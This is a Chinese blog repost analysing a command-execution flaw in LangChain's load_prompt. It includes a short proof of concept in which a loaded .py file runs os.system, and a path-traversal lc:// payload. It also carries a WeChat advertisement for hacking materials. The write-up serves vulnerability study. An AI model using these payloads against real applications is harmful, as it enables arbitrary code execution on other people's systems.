漏洞簡介
LangChain是一個用于開發由語言模型驅動的應用程式的框架,
在LangChain受影響版本中,由于load_prompt函式加載提示檔案時未對加載內容進行安全過濾,攻擊者可通過構造包含惡意命令的提示檔案,誘導用戶加載該檔案,即可造成任意系統命令執行,
漏洞復現
在專案下撰寫 test.py?
from langchain.prompts import load_prompt
if __name__ == '__main__':
loaded_prompt = load_prompt("system.py")
同級目錄下撰寫 system.py? 執行系統命令 dir?
import os
os.system("dir")
運行 test.py? 回傳了執行系統命令dir?的結果
?
漏洞分析-_load_prompt_from_file?
langchain.prompts.loading.load_prompt?

try_load_from_hub? 是嘗試從給定的路徑遠程加載檔案但是因為我們是加載本地檔案,所以接下會跳轉到 _load_prompt_from_file?
langchain.prompts.loading._load_prompt_from_file?

在 _load_prompt_from_file? 根據檔案的后綴,當后綴是 .py? 時 最侄訓讀取該檔案并利用 exec? 去執行
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
也就相當于,代碼可以簡寫為
if __name__ == '__main__':
file_path = "system.py"
with open(file_path, "rb") as f:
exec(f.read())
?
漏洞分析-try_load_from_hub?
因為網路的原因一直沒有辦法復現成功,這里就代碼層面進行一個詳細的分析
from langchain.prompts import load_prompt
?
if __name__ == '__main__':
loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")
langchain.prompts.loading.load_prompt?

langchain.utilities.loading.try_load_from_hub?

首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")? 所以需要滿足最開始是 lc://?
然后對后面的內容進行匹配,要求第一個欄位的值是 prompts? 最后的后綴要在 {'py', 'yaml', 'json'}? 中

最后拼接請求的url 可以通過 ../../../? 繞出專案的限制,指向我們設定好的檔案,并讀取加載實作任意命令執行
漏洞小結
在最新版本上面進行嘗試,仍然存在這個漏洞,這個漏洞的本質就是可以加載執行本地或者指定的 python 檔案,但是在實際應用中這個問題應該并不是那么好進行利用,因為 python 檔案的地址要可控才行,
更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/556115.html
標籤:其他
上一篇:自然語言處理 Paddle NLP - 文本翻譯技術及應用-理論
下一篇:返回列表
